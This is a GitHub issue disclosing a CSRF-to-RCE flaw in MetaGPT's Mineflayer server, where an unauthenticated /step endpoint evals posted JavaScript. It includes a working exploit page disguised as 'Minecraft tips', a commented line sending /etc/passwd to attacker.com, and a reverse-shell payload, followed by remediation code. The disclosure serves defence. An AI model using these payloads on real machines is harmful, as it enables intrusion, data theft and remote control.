New issue

Unauthenticated RCE via CSRF in Mineflayer HTTP API #1932

Closed

Labels inactive

YLChen-007 opened on Feb 4

Summary

The Mineflayer HTTP server in MetaGPT exposes a `/step` endpoint that accepts arbitrary JavaScript code and executes it via `eval()` without any authentication or CORS protection. When a user runs the Minecraft environment, simply visiting a malicious webpage can trigger Remote Code Execution on their machine. The attacker can execute arbitrary system commands, exfiltrate data, or establish a reverse shell.

Details

The vulnerability exists in `metagpt/environment/minecraft/mineflayer/index.js`. The Express.js server:

1. **Binds to all network interfaces** (0.0.0.0) by default:

```
// Line 421-424
const DEFAULT_PORT = 3000;
const PORT = process.argv[2] || DEFAULT_PORT;
app.listen(PORT, () => {
    console.log(`Server started on port ${PORT}`);
});
```

When `app.listen()` is called with only a port, Express binds to `0.0.0.0`, making the server accessible from any network interface.

2. **No authentication on `/step` endpoint**:

```
// Line 152
app.post("/step", async (req, res) => {
    // No authentication check!
    const code = req.body.code;  // Attacker-controlled
    const programs = req.body.programs;
    // ...
    const r = await evaluateCode(code, programs);
```

3. **No CORS protection**: The server does not set any CORS headers, allowing any origin to make requests.

4. **Direct eval() execution** of user input:

```
// Line 253-261
async function evaluateCode(code, programs) {
    try {
        await eval("(async () => {" + programs + "\n" + code + "})()");
        return "success";
    } catch (err) {
        return err;
    }
}
```

Attack Vector: An attacker can craft a malicious webpage. When a victim who is running MetaGPT's Minecraft environment visits this page, the attacker's JavaScript makes a POST request to `http://127.0.0.1:3000/step` with malicious code. Since there's no CORS protection, the browser allows this request, and the code is executed on the victim's machine.

PoC

Step 1: Victim starts Mineflayer server

```
cd metagpt/environment/minecraft/mineflayer
npm install
node index.js 3000
```

Step 2: Attacker hosts malicious webpage

Create `exploit.html`:

```
<!DOCTYPE html>
<html>
<head>
    <title>Minecraft Tips</title>
</head>
<body>
```

```
    <h1>Loading Minecraft tips...</h1>
    <script>
        // Malicious payload - writes proof file
        const payload = {
            code: `
                const fs = require('fs');
                const { execSync } = require('child_process');

                // Write RCE proof
                fs.writeFileSync('/tmp/mineflayer_csrf_rce.txt',
                    'CSRF-to-RCE: ' + execSync('id').toString());

                // Exfiltrate data (example)
                // require('https').get('https://attacker.com/data?info=' +
                //     Buffer.from(fs.readFileSync('/etc/passwd')).toString('base64'));
            `,
            programs: ""
        };

        // Send CSRF request to victim's local Mineflayer server
        fetch('http://127.0.0.1:3000/step', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify(payload),
            mode: 'no-cors'  // Bypass CORS, we don't need the response
        }).then(() => {
            console.log('Exploit sent');
        });
    </script>
</body>
</html>
```

Step 3: Victim visits malicious page

The victim simply visits the attacker's webpage (e.g., via phishing email, malicious ad, or compromised website).

Step 4: Verify RCE

```
cat /tmp/mineflayer_csrf_rce.txt
# Output: CSRF-to-RCE: uid=1000(user) gid=1000(user) groups=1000(user)...
```

Alternative: Reverse Shell Payload

```
<script>
fetch('http://127.0.0.1:3000/step', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        code: `
            const net = require('net');
```

```
            const { spawn } = require('child_process');
            const client = net.connect(4444, 'attacker.com', () => {
                const sh = spawn('/bin/sh', []);
                client.pipe(sh.stdin);
                sh.stdout.pipe(client);
                sh.stderr.pipe(client);
            });
        `,
        programs: ""
    }),
    mode: 'no-cors'
});
</script>
```

Impact

Remote Code Execution (RCE) via Cross-Site Request Forgery (CSRF)

Real-world Attack Scenarios:

1. Attacker sends phishing email with link to "Minecraft tips" page
2. Malicious ads on gaming websites
3. Compromised Minecraft community forums
4. Social engineering via Discord/gaming communities

Affected products

- **Ecosystem**: pip, npm
- **Package name**: metagpt
- **Affected versions**: All versions containing `metagpt/environment/minecraft/mineflayer/index.js`
- **Patched versions**: None

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- **Score**: 9.6

Weaknesses

- **CWE-94**: Improper Control of Generation of Code ('Code Injection')
- **CWE-352**: Cross-Site Request Forgery (CSRF)
- **CWE-306**: Missing Authentication for Critical Function

Occurrences

Permalink
https://github.com/geekan/MetaGPT/blob/main/metagpt/environment/minecraft/mineflayer/index.js#L152
https://github.com/geekan/MetaGPT/blob/main/metagpt/environment/minecraft/mineflayer/index.js#L235-L236
https://github.com/geekan/MetaGPT/blob/main/metagpt/environment/minecraft/mineflayer/index.js#L253-L261
https://github.com/geekan/MetaGPT/blob/main/metagpt/environment/minecraft/mineflayer/index.js#L421-L424

Remediation

Immediate Fixes

1. Add Authentication:

```
const API_KEY = process.env.MINEFLAYER_API_KEY || crypto.randomBytes(32).toString('hex'

function authenticate(req, res, next) {
    const token = req.headers['x-api-key'];
    if (!token || token !== API_KEY) {
        return res.status(401).json({error: 'Unauthorized'});
    }
    next();
}

app.post("/step", authenticate, async (req, res) => {
    // ... existing code
});
```

2. Bind to localhost only:

```
app.listen(PORT, '127.0.0.1', () => {
    console.log(`Server started on 127.0.0.1:${PORT}`);
});
```

3. Add CORS protection:

```
const cors = require('cors');
app.use(cors({
    origin: false  // Deny all cross-origin requests
}));
```

4. Use sandboxed execution (long-term):

```
const { VM } = require('vm2');

async function evaluateCodeSecure(code, programs) {
    const vm = new VM({
        timeout: 5000,
        sandbox: { bot: bot },  // Only expose safe APIs
    });
    return await vm.run(`(async () => {${programs}\n${code}})()`);
}
```

github-actions bot on Mar 7 – with GitHub Actions

This issue has no activity in the past 30 days. Please comment on the issue if you have anything to add.

github-actions added **inactive** on Mar 7

github-actions bot 3 weeks ago – with GitHub Actions

This issue was closed due to 45 days of inactivity. If you feel this issue is still relevant, please reopen the issue to continue the discussion.

github-actions closed this as completed 3 weeks ago

Metadata

Assignees

No one assigned

Labels

inactive

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants